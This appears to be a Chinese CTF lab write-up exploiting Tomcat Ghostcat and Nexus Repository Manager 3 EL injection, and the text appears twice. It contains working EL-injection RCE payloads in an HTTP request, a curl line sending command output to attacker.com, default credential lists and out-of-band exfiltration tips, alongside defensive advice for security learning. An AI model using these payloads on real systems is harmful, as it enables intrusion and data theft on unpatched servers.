记一次某春秋靶场<宇宙尘埃>打靶体验
字数 1828 2025-08-24 16:48:07

Apache Tomcat AJP漏洞与Nexus Repository Manager 3 RCE漏洞实战教学

一、Apache Tomcat AJP漏洞(CVE-2020-1938)利用

1. 漏洞背景

Apache Tomcat服务器默认会开启AJP连接器(端口8009),用于与其他Web服务器通过AJP协议交互。该漏洞允许攻击者通过恶意AJP请求读取或包含Web应用根目录下的任意文件,配合文件上传可实现RCE。

2. 影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

3. 漏洞检测

使用nmap扫描目标端口:

nmap -sV --version-intensity 9 <目标IP> -p 8009

若发现AJP协议服务运行在8009端口,则可能存在漏洞。

4. 漏洞利用步骤

  1. 获取利用工具

    • 从GitHub获取AJP漏洞利用工具,如ajp-shooter
  2. 文件读取

    python ajp_shooter.py <目标IP> 8009 /WEB-INF/web.xml read
    

    这将读取目标服务器的web.xml配置文件

  3. 获取flag

    • 通过读取index.jsp或其他关键文件获取flag
    python ajp_shooter.py <目标IP> 8009 /index.jsp read
    

5. 防御措施

  1. 升级Tomcat到安全版本
  2. 关闭AJP Connector或将其绑定到127.0.0.1
  3. 在server.xml中注释掉或删除AJP Connector配置

二、Nexus Repository Manager 3 RCE漏洞(CVE-2020-10199)利用

1. 漏洞背景

Nexus Repository Manager 3是一款软件仓库管理工具,用于存储和分发Maven、NuGET等软件源。3.21.1及之前版本存在任意EL表达式注入漏洞,可导致RCE。

2. 影响版本

  • Nexus Repository Manager 3.x OSS/Pro <= 3.21.1

3. 漏洞利用步骤

  1. 登录系统

    • 默认凭证:admin/admin
  2. 使用Burp Suite抓包

    • 拦截任意请求,寻找可利用的EL表达式注入点
  3. 构造恶意请求

    POST /service/rest/beta/security/users HTTP/1.1
    Host: <目标IP>:<端口>
    Content-Type: application/json
    
    {
      "userId": "test",
      "firstName": "test",
      "lastName": "test",
      "email": "test@test.com",
      "password": "test",
      "status": "active",
      "roles": ["${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}"]
    }
    
  4. 构造命令回显

    • 由于默认无回显,需要构造特殊payload实现回显
    ${"".getClass().forName("java.lang.Runtime").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "curl http://attacker.com/$(id|base64)")}
    
  5. 查找flag

    • 通常位于根目录或web目录下
    ${"".getClass().forName("java.lang.Runtime").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "cat /flag.txt")}
    

4. 防御措施

  1. 升级到最新版本
  2. 修改默认管理员密码
  3. 限制访问IP范围
  4. 启用身份验证和授权

三、通用渗透测试技巧总结

  1. 非HTTP协议识别

    • 使用nmap等工具识别非常见协议服务
    • 注意AJP(8009)、RMI(1099)等非HTTP端口
  2. 默认凭证尝试

    • admin/admin
    • root/root
    • guest/guest
  3. 漏洞利用思路

    • 先信息收集,确定服务版本
    • 搜索对应版本的已知漏洞
    • 优先尝试RCE、文件读取等高危漏洞
  4. 文件包含与RCE结合

    • 先上传文件再包含执行
    • 注意文件权限和路径问题
  5. flag查找技巧

    • 检查常见位置:/flag, /root/flag, /var/www/html/flag
    • 使用find命令搜索:find / -name "*flag*"
    • 检查环境变量:env
  6. 无回显RCE处理

    • 使用DNS或HTTP外带数据
    • 写入临时文件再读取
    • 延时判断(如ping -c 4)

四、靶场实战经验

  1. 第一个靶场

    • 识别AJP协议(8009端口)
    • 使用Ghostcat漏洞读取文件
    • 关键点:非HTTP协议识别、AJP协议利用
  2. 第二个靶场

    • Nexus Repository Manager默认凭证
    • EL表达式注入实现RCE
    • 关键点:默认凭证尝试、无回显RCE处理
  3. 第三个靶场

    • 后台SQL执行功能滥用
    • MySQL文件写入技巧
    • 关键点:权限绕过、文件写入位置选择

五、工具推荐

  1. AJP漏洞利用

    • ajp-shooter (GitHub)
    • Ghostcat scanner
  2. Nexus漏洞利用

    • Nexus-Exploit (GitHub)
    • ysoserial (生成payload)
  3. 综合工具

    • Metasploit (有相关漏洞模块)
    • Burp Suite (抓包和漏洞探测)
  4. 信息收集

    • nmap
    • dirsearch
    • gobuster

通过本教学文档,您应该能够掌握Apache Tomcat AJP漏洞和Nexus Repository Manager 3 RCE漏洞的利用方法,以及相关的渗透测试技巧。在实际测试中,请确保获得合法授权,遵守法律法规。

Apache Tomcat AJP漏洞与Nexus Repository Manager 3 RCE漏洞实战教学 一、Apache Tomcat AJP漏洞(CVE-2020-1938)利用 1. 漏洞背景 Apache Tomcat服务器默认会开启AJP连接器(端口8009),用于与其他Web服务器通过AJP协议交互。该漏洞允许攻击者通过恶意AJP请求读取或包含Web应用根目录下的任意文件,配合文件上传可实现RCE。 2. 影响版本 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 3. 漏洞检测 使用nmap扫描目标端口: 若发现AJP协议服务运行在8009端口,则可能存在漏洞。 4. 漏洞利用步骤 获取利用工具 : 从GitHub获取AJP漏洞利用工具,如ajp-shooter 文件读取 : 这将读取目标服务器的web.xml配置文件 获取flag : 通过读取index.jsp或其他关键文件获取flag 5. 防御措施 升级Tomcat到安全版本 关闭AJP Connector或将其绑定到127.0.0.1 在server.xml中注释掉或删除AJP Connector配置 二、Nexus Repository Manager 3 RCE漏洞(CVE-2020-10199)利用 1. 漏洞背景 Nexus Repository Manager 3是一款软件仓库管理工具,用于存储和分发Maven、NuGET等软件源。3.21.1及之前版本存在任意EL表达式注入漏洞,可导致RCE。 2. 影响版本 Nexus Repository Manager 3.x OSS/Pro <= 3.21.1 3. 漏洞利用步骤 登录系统 : 默认凭证:admin/admin 使用Burp Suite抓包 : 拦截任意请求,寻找可利用的EL表达式注入点 构造恶意请求 : 构造命令回显 : 由于默认无回显,需要构造特殊payload实现回显 查找flag : 通常位于根目录或web目录下 4. 防御措施 升级到最新版本 修改默认管理员密码 限制访问IP范围 启用身份验证和授权 三、通用渗透测试技巧总结 非HTTP协议识别 : 使用nmap等工具识别非常见协议服务 注意AJP(8009)、RMI(1099)等非HTTP端口 默认凭证尝试 : admin/admin root/root guest/guest 漏洞利用思路 : 先信息收集,确定服务版本 搜索对应版本的已知漏洞 优先尝试RCE、文件读取等高危漏洞 文件包含与RCE结合 : 先上传文件再包含执行 注意文件权限和路径问题 flag查找技巧 : 检查常见位置:/flag, /root/flag, /var/www/html/flag 使用find命令搜索: find / -name "*flag*" 检查环境变量: env 无回显RCE处理 : 使用DNS或HTTP外带数据 写入临时文件再读取 延时判断(如ping -c 4) 四、靶场实战经验 第一个靶场 : 识别AJP协议(8009端口) 使用Ghostcat漏洞读取文件 关键点:非HTTP协议识别、AJP协议利用 第二个靶场 : Nexus Repository Manager默认凭证 EL表达式注入实现RCE 关键点:默认凭证尝试、无回显RCE处理 第三个靶场 : 后台SQL执行功能滥用 MySQL文件写入技巧 关键点:权限绕过、文件写入位置选择 五、工具推荐 AJP漏洞利用 : ajp-shooter (GitHub) Ghostcat scanner Nexus漏洞利用 : Nexus-Exploit (GitHub) ysoserial (生成payload) 综合工具 : Metasploit (有相关漏洞模块) Burp Suite (抓包和漏洞探测) 信息收集 : nmap dirsearch gobuster 通过本教学文档,您应该能够掌握Apache Tomcat AJP漏洞和Nexus Repository Manager 3 RCE漏洞的利用方法,以及相关的渗透测试技巧。在实际测试中,请确保获得合法授权,遵守法律法规。